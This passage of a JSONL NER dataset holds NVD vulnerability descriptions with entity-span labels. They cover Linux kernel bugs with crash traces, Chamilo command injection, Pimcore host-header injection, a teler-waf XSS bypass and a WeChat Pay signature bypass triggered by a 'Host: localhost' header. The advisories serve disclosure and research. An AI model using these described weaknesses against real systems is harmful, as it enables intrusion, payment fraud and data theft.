{"text": "An Improper Check for Unusual or Exceptional Conditions vulnerability combined with a Race Condition in the flow daemon (flowd) of Juniper Networks Junos OS on SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2 allows an unauthenticated network based attacker sending specific traffic to cause a crash of the flowd/srxpfe process, responsible for traffic forwarding in SRX, which will cause a Denial of Service (DoS). Continued receipt and processing of this specific traffic will create a sustained Denial of Service (DoS) condition. This issue can only occur when specific packets are trying to create the same session and logging for session-close is configured as a policy action. Affected platforms are: SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2. Not affected platforms are: SRX4000 Series, SRX5000 Series with SPC3, and vSRX Series. This issue affects Juniper Networks Junos OS SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2: All versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R3; 20.3 versions prior to 20.3R2-S1, 20.3R3; 20.4 versions prior to 20.4R2.", "spans": {"ORGANIZATION: Juniper": [[131, 138], [901, 908]], "VULNERABILITY: Denial of Service": [[410, 427], [517, 534]], "VULNERABILITY: Race Condition": [[86, 100]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31364"}}
{"text": "Chamilo LMS is a learning management system. Prior to 1.11.38 and 2.0.0-RC.3, Chamilo LMS contains an OS Command Injection vulnerability in the file move function. The move() function in fileManage.lib.php passes user-controlled path values directly into exec() shell commands without using escapeshellarg(). When a user moves a document via document.php, the move_to POST parameter — which only passes through Security::remove_XSS() (an HTML-only filter) — is concatenated directly into shell commands such as exec(\"mv $source $target\"). By default, Chamilo allows all authenticated users to create courses (allow_users_to_create_courses = true). Any user who is a teacher in a course (including self-created courses) can move documents, making this vulnerability exploitable by any authenticated user. The attacker must first place a directory with shell metacharacters in its name on the filesystem (achievable via Course Backup Import), then move a document into that directory to trigger arbitrary command execution as the web server user (www-data). This vulnerability is fixed in 1.11.38 and 2.0.0-RC.3.", "spans": {"FILEPATH: lib.php": [[198, 205]], "FILEPATH: document.php": [[342, 354]], "VULNERABILITY: OS Command Injection": [[102, 122]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32892"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbus: fsl-mc: don't assume child devices are all fsl-mc devices\n\nChanges in VFIO caused a pseudo-device to be created as child of\nfsl-mc devices causing a crash [1] when trying to bind a fsl-mc\ndevice to VFIO. Fix this by checking the device type when enumerating\nfsl-mc child devices.\n\n[1]\nModules linked in:\nInternal error: Oops: 0000000096000004 [#1] PREEMPT SMP\nCPU: 6 PID: 1289 Comm: sh Not tainted 6.2.0-rc5-00047-g7c46948a6e9c #2\nHardware name: NXP Layerscape LX2160ARDB (DT)\npstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : mc_send_command+0x24/0x1f0\nlr : dprc_get_obj_region+0xfc/0x1c0\nsp : ffff80000a88b900\nx29: ffff80000a88b900 x28: ffff48a9429e1400 x27: 00000000000002b2\nx26: ffff48a9429e1718 x25: 0000000000000000 x24: 0000000000000000\nx23: ffffd59331ba3918 x22: ffffd59331ba3000 x21: 0000000000000000\nx20: ffff80000a88b9b8 x19: 0000000000000000 x18: 0000000000000001\nx17: 7270642f636d2d6c x16: 73662e3030303030 x15: ffffffffffffffff\nx14: ffffd59330f1d668 x13: ffff48a8727dc389 x12: ffff48a8727dc386\nx11: 0000000000000002 x10: 00008ceaf02f35d4 x9 : 0000000000000012\nx8 : 0000000000000000 x7 : 0000000000000006 x6 : ffff80000a88bab0\nx5 : 0000000000000000 x4 : 0000000000000000 x3 : ffff80000a88b9e8\nx2 : ffff80000a88b9e8 x1 : 0000000000000000 x0 : ffff48a945142b80\nCall trace:\n mc_send_command+0x24/0x1f0\n dprc_get_obj_region+0xfc/0x1c0\n fsl_mc_device_add+0x340/0x590\n fsl_mc_obj_device_add+0xd0/0xf8\n dprc_scan_objects+0x1c4/0x340\n dprc_scan_container+0x38/0x60\n vfio_fsl_mc_probe+0x9c/0xf8\n fsl_mc_driver_probe+0x24/0x70\n really_probe+0xbc/0x2a8\n __driver_probe_device+0x78/0xe0\n device_driver_attach+0x30/0x68\n bind_store+0xa8/0x130\n drv_attr_store+0x24/0x38\n sysfs_kf_write+0x44/0x60\n kernfs_fop_write_iter+0x128/0x1b8\n vfs_write+0x334/0x448\n ksys_write+0x68/0xf0\n __arm64_sys_write+0x1c/0x28\n invoke_syscall+0x44/0x108\n el0_svc_common.constprop.1+0x94/0xf8\n do_el0_svc+0x38/0xb0\n el0_svc+0x20/0x50\n el0t_64_sync_handler+0x98/0xc0\n el0t_64_sync+0x174/0x178\nCode: aa0103f4 a9025bf5 d5384100 b9400801 (79401260)\n---[ end trace 0000000000000000 ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53362"}}
{"text": "The /rest/jira-ril/1.0/jira-rest/applinks resource in the crucible-jira-ril plugin in Atlassian Fisheye and Crucible before version 4.8.1 allows remote attackers to get information about any configured Jira application links via an information disclosure vulnerability.", "spans": {"FILEPATH: /rest/jira-ril/1.0/jira-rest/applinks": [[4, 41]], "ORGANIZATION: Atlassian": [[86, 95]], "VULNERABILITY: information disclosure": [[232, 254]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4017"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npinmux: fix race causing mux_owner NULL with active mux_usecount\n\ncommit 5a3e85c3c397 (\"pinmux: Use sequential access to access\ndesc->pinmux data\") tried to address the issue when two client of the\nsame gpio calls pinctrl_select_state() for the same functionality, was\nresulting in NULL pointer issue while accessing desc->mux_owner.\nHowever, issue was not completely fixed due to the way it was handled\nand it can still result in the same NULL pointer.\n\nThe issue occurs due to the following interleaving:\n\n     cpu0 (process A)                   cpu1 (process B)\n\n      pin_request() {                   pin_free() {\n\n                                         mutex_lock()\n                                         desc->mux_usecount--; //becomes 0\n                                         ..\n                                         mutex_unlock()\n\n  mutex_lock(desc->mux)\n  desc->mux_usecount++; // becomes 1\n  desc->mux_owner = owner;\n  mutex_unlock(desc->mux)\n\n                                         mutex_lock(desc->mux)\n                                         desc->mux_owner = NULL;\n                                         mutex_unlock(desc->mux)\n\nThis sequence leads to a state where the pin appears to be in use\n(`mux_usecount == 1`) but has no owner (`mux_owner == NULL`), which can\ncause NULL pointer on next pin_request on the same pin.\n\nEnsure that updates to mux_usecount and mux_owner are performed\natomically under the same lock. Only clear mux_owner when mux_usecount\nreaches zero and no new owner has been assigned.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38632"}}
{"text": "A vulnerability has been identified in RUGGEDCOM i800, RUGGEDCOM i800NC, RUGGEDCOM i801, RUGGEDCOM i801NC, RUGGEDCOM i802, RUGGEDCOM i802NC, RUGGEDCOM i803, RUGGEDCOM i803NC, RUGGEDCOM M2100, RUGGEDCOM M2100NC, RUGGEDCOM M2200, RUGGEDCOM M2200NC, RUGGEDCOM M969, RUGGEDCOM M969NC, RUGGEDCOM RMC30, RUGGEDCOM RMC30NC, RUGGEDCOM RMC8388 V4.X, RUGGEDCOM RMC8388 V5.X, RUGGEDCOM RMC8388NC V4.X, RUGGEDCOM RMC8388NC V5.X, RUGGEDCOM RP110, RUGGEDCOM RP110NC, RUGGEDCOM RS1600, RUGGEDCOM RS1600F, RUGGEDCOM RS1600FNC, RUGGEDCOM RS1600NC, RUGGEDCOM RS1600T, RUGGEDCOM RS1600TNC, RUGGEDCOM RS400, RUGGEDCOM RS400NC, RUGGEDCOM RS401, RUGGEDCOM RS401NC, RUGGEDCOM RS416, RUGGEDCOM RS416NC, RUGGEDCOM RS416NCv2 V4.X, RUGGEDCOM RS416NCv2 V5.X, RUGGEDCOM RS416P, RUGGEDCOM RS416PNC, RUGGEDCOM RS416PNCv2 V4.X, RUGGEDCOM RS416PNCv2 V5.X, RUGGEDCOM RS416Pv2 V4.X, RUGGEDCOM RS416Pv2 V5.X, RUGGEDCOM RS416v2 V4.X, RUGGEDCOM RS416v2 V5.X, RUGGEDCOM RS8000, RUGGEDCOM RS8000A, RUGGEDCOM RS8000ANC, RUGGEDCOM RS8000H, RUGGEDCOM RS8000HNC, RUGGEDCOM RS8000NC, RUGGEDCOM RS8000T, RUGGEDCOM RS8000TNC, RUGGEDCOM RS900, RUGGEDCOM RS900 (32M) V4.X, RUGGEDCOM RS900 (32M) V5.X, RUGGEDCOM RS900G, RUGGEDCOM RS900G (32M) V4.X, RUGGEDCOM RS900G (32M) V5.X, RUGGEDCOM RS900GNC, RUGGEDCOM RS900GNC(32M) V4.X, RUGGEDCOM RS900GNC(32M) V5.X, RUGGEDCOM RS900GP, RUGGEDCOM RS900GPNC, RUGGEDCOM RS900L, RUGGEDCOM RS900LNC, RUGGEDCOM RS900M-GETS-C01, RUGGEDCOM RS900M-GETS-XX, RUGGEDCOM RS900M-STND-C01, RUGGEDCOM RS900M-STND-XX, RUGGEDCOM RS900MNC-GETS-C01, RUGGEDCOM RS900MNC-GETS-XX, RUGGEDCOM RS900MNC-STND-XX, RUGGEDCOM RS900MNC-STND-XX-C01, RUGGEDCOM RS900NC, RUGGEDCOM RS900NC(32M) V4.X, RUGGEDCOM RS900NC(32M) V5.X, RUGGEDCOM RS900W, RUGGEDCOM RS910, RUGGEDCOM RS910L, RUGGEDCOM RS910LNC, RUGGEDCOM RS910NC, RUGGEDCOM RS910W, RUGGEDCOM RS920L, RUGGEDCOM RS920LNC, RUGGEDCOM RS920W, RUGGEDCOM RS930L, RUGGEDCOM RS930LNC, RUGGEDCOM RS930W, RUGGEDCOM RS940G, RUGGEDCOM RS940GNC, RUGGEDCOM RS969, RUGGEDCOM RS969NC, RUGGEDCOM RSG2100, RUGGEDCOM RSG2100 (32M) V4.X, RUGGEDCOM RSG2100 (32M) V5.X, RUGGEDCOM RSG2100NC, RUGGEDCOM RSG2100NC(32M) V4.X, RUGGEDCOM RSG2100NC(32M) V5.X, RUGGEDCOM RSG2100P, RUGGEDCOM RSG2100P (32M) V4.X, RUGGEDCOM RSG2100P (32M) V5.X, RUGGEDCOM RSG2100PNC, RUGGEDCOM RSG2100PNC (32M) V4.X, RUGGEDCOM RSG2100PNC (32M) V5.X, RUGGEDCOM RSG2200, RUGGEDCOM RSG2200NC, RUGGEDCOM RSG2288 V4.X, RUGGEDCOM RSG2288 V5.X, RUGGEDCOM RSG2288NC V4.X, RUGGEDCOM RSG2288NC V5.X, RUGGEDCOM RSG2300 V4.X, RUGGEDCOM RSG2300 V5.X, RUGGEDCOM RSG2300NC V4.X, RUGGEDCOM RSG2300NC V5.X, RUGGEDCOM RSG2300P V4.X, RUGGEDCOM RSG2300P V5.X, RUGGEDCOM RSG2300PNC V4.X, RUGGEDCOM RSG2300PNC V5.X, RUGGEDCOM RSG2488 V4.X, RUGGEDCOM RSG2488 V5.X, RUGGEDCOM RSG2488NC V4.X, RUGGEDCOM RSG2488NC V5.X, RUGGEDCOM RSG907R, RUGGEDCOM RSG908C, RUGGEDCOM RSG909R, RUGGEDCOM RSG910C, RUGGEDCOM RSG920P V4.X, RUGGEDCOM RSG920P V5.X, RUGGEDCOM RSG920PNC V4.X, RUGGEDCOM RSG920PNC V5.X, RUGGEDCOM RSL910, RUGGEDCOM RSL910NC, RUGGEDCOM RST2228, RUGGEDCOM RST2228P, RUGGEDCOM RST916C, RUGGEDCOM RST916P. The web server of the affected devices allow a low privileged user to access hashes and password salts of all system's users, including admin users. An attacker could use the obtained information to brute force the passwords offline.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52237"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions if the arguments to `tf.raw_ops.RaggedGather` don't determine a valid ragged tensor code can trigger a read from outside of bounds of heap allocated buffers. The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/ragged_gather_op.cc#L70) directly reads the first dimension of a tensor shape before checking that said tensor has rank of at least 1 (i.e., it is not a scalar). Furthermore, the implementation does not check that the list given by `params_nested_splits` is not an empty list of tensors. We have patched the issue in GitHub commit a2b743f6017d7b97af1fe49087ae15f0ac634373. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/ragged_gather_op.cc#L70": [[271, 405]], "HASH: a2b743f6017d7b97af1fe49087ae15f0ac634373": [[713, 753]], "ORGANIZATION: GitHub": [[699, 705]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37641"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V7.2.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V7.2.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V7.2.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V7.2.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V7.2.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V7.2.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V7.2.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V7.2.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V7.2.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V7.2.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V7.2.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V7.2.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V7.2.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V7.2.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V7.2.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V7.2.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V7.2.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V7.2.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V7.2.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V7.2.2), SCALANCE WAB762-1 (6GK5762-1AJ00-6AA0) (All versions < V3.0.0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0) (All versions < V3.0.0), SCALANCE WAM763-1 (ME) (6GK5763-1AL00-7DC0) (All versions < V3.0.0), SCALANCE WAM763-1 (US) (6GK5763-1AL00-7DB0) (All versions < V3.0.0), SCALANCE WAM766-1 (6GK5766-1GE00-7DA0) (All versions < V3.0.0), SCALANCE WAM766-1 (ME) (6GK5766-1GE00-7DC0) (All versions < V3.0.0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (6GK5766-1GE00-7TA0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (ME) (6GK5766-1GE00-7TC0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0) (All versions < V3.0.0), SCALANCE WUB762-1 (6GK5762-1AJ00-1AA0) (All versions < V3.0.0), SCALANCE WUB762-1 iFeatures (6GK5762-1AJ00-2AA0) (All versions < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0) (All versions < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0) (All versions < V3.0.0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3AB0) (All versions < V3.0.0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3DB0) (All versions < V3.0.0), SCALANCE WUM766-1 (6GK5766-1GE00-3DA0) (All versions < V3.0.0), SCALANCE WUM766-1 (ME) (6GK5766-1GE00-3DC0) (All versions < V3.0.0), SCALANCE WUM766-1 (USA) (6GK5766-1GE00-3DB0) (All versions < V3.0.0). Affected devices do not properly validate the authentication when performing certain modifications in the web interface allowing an authenticated attacker to influence the user interface configured by an administrator.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44320"}}
{"text": "Composer is a dependency Manager for the PHP language. In affected versions several files within the local working directory are included during the invocation of Composer and in the context of the executing user. As such, under certain conditions arbitrary code execution may lead to local privilege escalation, provide lateral user movement or malicious code execution when Composer is invoked within a directory with tampered files. All Composer CLI commands are affected, including composer.phar's self-update. The following scenarios are of high risk: Composer being run with sudo, Pipelines which may execute Composer on untrusted projects, Shared environments with developers who run Composer individually on the same project. This vulnerability has been addressed in versions 2.7.0 and 2.2.23. It is advised that the patched versions are applied at the earliest convenience. Where not possible, the following should be addressed: Remove all sudo composer privileges for all users to mitigate root privilege escalation, and avoid running Composer within an untrusted directory, or if needed, verify that the contents of `vendor/composer/InstalledVersions.php` and `vendor/composer/installed.php` do not include untrusted code.  A reset can also be done on these files by the following:```sh\nrm vendor/composer/installed.php vendor/composer/InstalledVersions.php\ncomposer install --no-scripts --no-plugins\n```", "spans": {"FILEPATH: /composer/InstalledVersions.php": [[1134, 1165], [1337, 1368]], "FILEPATH: /composer/installed.php": [[1178, 1201], [1307, 1330]], "SYSTEM: sudo": [[581, 585], [949, 953]], "SYSTEM: PHP": [[41, 44]], "VULNERABILITY: privilege escalation": [[291, 311], [1005, 1025]], "VULNERABILITY: code execution": [[258, 272], [356, 370]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-24821"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Limit num_syncs to prevent oversized allocations\n\nThe exec and vm_bind ioctl allow userspace to specify an arbitrary\nnum_syncs value. Without bounds checking, a very large num_syncs\ncan force an excessively large allocation, leading to kernel warnings\nfrom the page allocator as below.\n\nIntroduce DRM_XE_MAX_SYNCS (set to 1024) and reject any request\nexceeding this limit.\n\n\"\n------------[ cut here ]------------\nWARNING: CPU: 0 PID: 1217 at mm/page_alloc.c:5124 __alloc_frozen_pages_noprof+0x2f8/0x2180 mm/page_alloc.c:5124\n...\nCall Trace:\n <TASK>\n alloc_pages_mpol+0xe4/0x330 mm/mempolicy.c:2416\n ___kmalloc_large_node+0xd8/0x110 mm/slub.c:4317\n __kmalloc_large_node_noprof+0x18/0xe0 mm/slub.c:4348\n __do_kmalloc_node mm/slub.c:4364 [inline]\n __kmalloc_noprof+0x3d4/0x4b0 mm/slub.c:4388\n kmalloc_noprof include/linux/slab.h:909 [inline]\n kmalloc_array_noprof include/linux/slab.h:948 [inline]\n xe_exec_ioctl+0xa47/0x1e70 drivers/gpu/drm/xe/xe_exec.c:158\n drm_ioctl_kernel+0x1f1/0x3e0 drivers/gpu/drm/drm_ioctl.c:797\n drm_ioctl+0x5e7/0xc50 drivers/gpu/drm/drm_ioctl.c:894\n xe_drm_ioctl+0x10b/0x170 drivers/gpu/drm/xe/xe_device.c:224\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:598 [inline]\n __se_sys_ioctl fs/ioctl.c:584 [inline]\n __x64_sys_ioctl+0x18b/0x210 fs/ioctl.c:584\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xbb/0x380 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n...\n\"\n\nv2: Add \"Reported-by\" and Cc stable kernels.\nv3: Change XE_MAX_SYNCS from 64 to 1024. (Matt & Ashutosh)\nv4: s/XE_MAX_SYNCS/DRM_XE_MAX_SYNCS/ (Matt)\nv5: Do the check at the top of the exec func. (Matt)\n\n(cherry picked from commit b07bac9bd708ec468cd1b8a5fe70ae2ac9b0a11c)", "spans": {"HASH: b07bac9bd708ec468cd1b8a5fe70ae2ac9b0a11c": [[1760, 1800]], "FILEPATH: /linux/slab.h": [[889, 902], [945, 958]], "FILEPATH: /gpu/drm/xe/xe_exec.c": [[1007, 1028]], "FILEPATH: /gpu/drm/drm_ioctl.c": [[1070, 1090], [1125, 1145]], "FILEPATH: /gpu/drm/xe/xe_device.c": [[1183, 1206]], "FILEPATH: /x86/entry/syscall_64.c": [[1389, 1412], [1455, 1478]], "FILEPATH: /XE_MAX_SYNCS/DRM_XE_MAX_SYNCS": [[1640, 1670]], "FILEPATH: page_alloc.c": [[522, 534], [584, 596]], "FILEPATH: mempolicy.c": [[658, 669]], "FILEPATH: slub.c": [[712, 718], [766, 772], [800, 806], [854, 860]], "FILEPATH: ioctl.c": [[1225, 1232], [1264, 1271], [1304, 1311], [1357, 1364]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68802"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntun: limit printing rate when illegal packet received by tun dev\n\nvhost_worker will call tun call backs to receive packets. If too many\nillegal packets arrives, tun_do_read will keep dumping packet contents.\nWhen console is enabled, it will costs much more cpu time to dump\npacket and soft lockup will be detected.\n\nnet_ratelimit mechanism can be used to limit the dumping rate.\n\nPID: 33036    TASK: ffff949da6f20000  CPU: 23   COMMAND: \"vhost-32980\"\n #0 [fffffe00003fce50] crash_nmi_callback at ffffffff89249253\n #1 [fffffe00003fce58] nmi_handle at ffffffff89225fa3\n #2 [fffffe00003fceb0] default_do_nmi at ffffffff8922642e\n #3 [fffffe00003fced0] do_nmi at ffffffff8922660d\n #4 [fffffe00003fcef0] end_repeat_nmi at ffffffff89c01663\n    [exception RIP: io_serial_in+20]\n    RIP: ffffffff89792594  RSP: ffffa655314979e8  RFLAGS: 00000002\n    RAX: ffffffff89792500  RBX: ffffffff8af428a0  RCX: 0000000000000000\n    RDX: 00000000000003fd  RSI: 0000000000000005  RDI: ffffffff8af428a0\n    RBP: 0000000000002710   R8: 0000000000000004   R9: 000000000000000f\n    R10: 0000000000000000  R11: ffffffff8acbf64f  R12: 0000000000000020\n    R13: ffffffff8acbf698  R14: 0000000000000058  R15: 0000000000000000\n    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018\n #5 [ffffa655314979e8] io_serial_in at ffffffff89792594\n #6 [ffffa655314979e8] wait_for_xmitr at ffffffff89793470\n #7 [ffffa65531497a08] serial8250_console_putchar at ffffffff897934f6\n #8 [ffffa65531497a20] uart_console_write at ffffffff8978b605\n #9 [ffffa65531497a48] serial8250_console_write at ffffffff89796558\n #10 [ffffa65531497ac8] console_unlock at ffffffff89316124\n #11 [ffffa65531497b10] vprintk_emit at ffffffff89317c07\n #12 [ffffa65531497b68] printk at ffffffff89318306\n #13 [ffffa65531497bc8] print_hex_dump at ffffffff89650765\n #14 [ffffa65531497ca8] tun_do_read at ffffffffc0b06c27 [tun]\n #15 [ffffa65531497d38] tun_recvmsg at ffffffffc0b06e34 [tun]\n #16 [ffffa65531497d68] handle_rx at ffffffffc0c5d682 [vhost_net]\n #17 [ffffa65531497ed0] vhost_worker at ffffffffc0c644dc [vhost]\n #18 [ffffa65531497f10] kthread at ffffffff892d2e72\n #19 [ffffa65531497f50] ret_from_fork at ffffffff89c0022f", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27013"}}
{"text": "Pimcore's Admin Classic Bundle provides a Backend UI for Pimcore. A potential security vulnerability has been discovered in `pimcore/admin-ui-classic-bundle` prior to version 1.3.4. The vulnerability involves a Host Header Injection in the `invitationLinkAction` function of the UserController, specifically in the way `$loginUrl` trusts user input.  The host header from incoming HTTP requests is used unsafely when generating URLs. An attacker can manipulate the HTTP host header in requests to the /admin/user/invitationlink endpoint, resulting in the generation of URLs with the attacker's domain. In fact, if a host header is injected in the POST request, the $loginURL parameter is constructed with this unvalidated host header. It is then used to send an invitation email to the provided user. This vulnerability can be used to perform phishing attacks by making the URLs in the invitation links emails point to an attacker-controlled domain. Version 1.3.4 contains a patch for the vulnerability. The maintainers recommend validating the host header and ensuring it matches the application's domain. It would also be beneficial to use a default trusted host or hostname if the incoming host header is not recognized or is absent.", "spans": {"FILEPATH: /admin/user/invitationlink": [[501, 527]], "VULNERABILITY: Header Injection": [[216, 232]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-25625"}}
{"text": "teler-waf is a Go HTTP middleware that provides teler IDS functionality to protect against web-based attacks. In teler-waf prior to version 0.1.1 is vulnerable to bypassing common web attack rules when a specific HTML entities payload is used. This vulnerability allows an attacker to execute arbitrary JavaScript code on the victim's browser and compromise the security of the web application. The vulnerability exists due to teler-waf failure to properly sanitize and filter HTML entities in user input. An attacker can exploit this vulnerability to bypass common web attack threat rules in teler-waf and launch cross-site scripting (XSS) attacks. The attacker can execute arbitrary JavaScript code on the victim's browser and steal sensitive information, such as login credentials and session tokens, or take control of the victim's browser and perform malicious actions. This issue has been fixed in version 0.1.1.", "spans": {"VULNERABILITY: cross-site scripting": [[614, 634]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-26046"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: mtk-jpeg: Fix null-ptr-deref during unload module\n\nThe workqueue should be destroyed in mtk_jpeg_core.c since commit\n09aea13ecf6f (\"media: mtk-jpeg: refactor some variables\"), otherwise\nthe below calltrace can be easily triggered.\n\n[  677.862514] Unable to handle kernel paging request at virtual address dfff800000000023\n[  677.863633] KASAN: null-ptr-deref in range [0x0000000000000118-0x000000000000011f]\n...\n[  677.879654] CPU: 6 PID: 1071 Comm: modprobe Tainted: G           O       6.8.12-mtk+gfa1a78e5d24b+ #17\n...\n[  677.882838] pc : destroy_workqueue+0x3c/0x770\n[  677.883413] lr : mtk_jpegdec_destroy_workqueue+0x70/0x88 [mtk_jpeg_dec_hw]\n[  677.884314] sp : ffff80008ad974f0\n[  677.884744] x29: ffff80008ad974f0 x28: ffff0000d7115580 x27: ffff0000dd691070\n[  677.885669] x26: ffff0000dd691408 x25: ffff8000844af3e0 x24: ffff80008ad97690\n[  677.886592] x23: ffff0000e051d400 x22: ffff0000dd691010 x21: dfff800000000000\n[  677.887515] x20: 0000000000000000 x19: 0000000000000000 x18: ffff800085397ac0\n[  677.888438] x17: 0000000000000000 x16: ffff8000801b87c8 x15: 1ffff000115b2e10\n[  677.889361] x14: 00000000f1f1f1f1 x13: 0000000000000000 x12: ffff7000115b2e4d\n[  677.890285] x11: 1ffff000115b2e4c x10: ffff7000115b2e4c x9 : ffff80000aa43e90\n[  677.891208] x8 : 00008fffeea4d1b4 x7 : ffff80008ad97267 x6 : 0000000000000001\n[  677.892131] x5 : ffff80008ad97260 x4 : ffff7000115b2e4d x3 : 0000000000000000\n[  677.893054] x2 : 0000000000000023 x1 : dfff800000000000 x0 : 0000000000000118\n[  677.893977] Call trace:\n[  677.894297]  destroy_workqueue+0x3c/0x770\n[  677.894826]  mtk_jpegdec_destroy_workqueue+0x70/0x88 [mtk_jpeg_dec_hw]\n[  677.895677]  devm_action_release+0x50/0x90\n[  677.896211]  release_nodes+0xe8/0x170\n[  677.896688]  devres_release_all+0xf8/0x178\n[  677.897219]  device_unbind_cleanup+0x24/0x170\n[  677.897785]  device_release_driver_internal+0x35c/0x480\n[  677.898461]  device_release_driver+0x20/0x38\n...\n[  677.912665] ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: mtk_jpeg_core.c": [[164, 179]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56577"}}
{"text": "Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.", "spans": {"FILEPATH: Functions.php": [[159, 172]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33661"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: move netif_queue_set_napi to rtnl-protected sections\n\nCurrently, netif_queue_set_napi() is called from ice_vsi_rebuild() that is\nnot rtnl-locked when called from the reset. This creates the need to take\nthe rtnl_lock just for a single function and complicates the\nsynchronization with .ndo_bpf. At the same time, there no actual need to\nfill napi-to-queue information at this exact point.\n\nFill napi-to-queue information when opening the VSI and clear it when the\nVSI is being closed. Those routines are already rtnl-locked.\n\nAlso, rewrite napi-to-queue assignment in a way that prevents inclusion of\nXDP queues, as this leads to out-of-bounds writes, such as one below.\n\n[  +0.000004] BUG: KASAN: slab-out-of-bounds in netif_queue_set_napi+0x1c2/0x1e0\n[  +0.000012] Write of size 8 at addr ffff889881727c80 by task bash/7047\n[  +0.000006] CPU: 24 PID: 7047 Comm: bash Not tainted 6.10.0-rc2+ #2\n[  +0.000004] Hardware name: Intel Corporation S2600WFT/S2600WFT, BIOS SE5C620.86B.02.01.0014.082620210524 08/26/2021\n[  +0.000003] Call Trace:\n[  +0.000003]  <TASK>\n[  +0.000002]  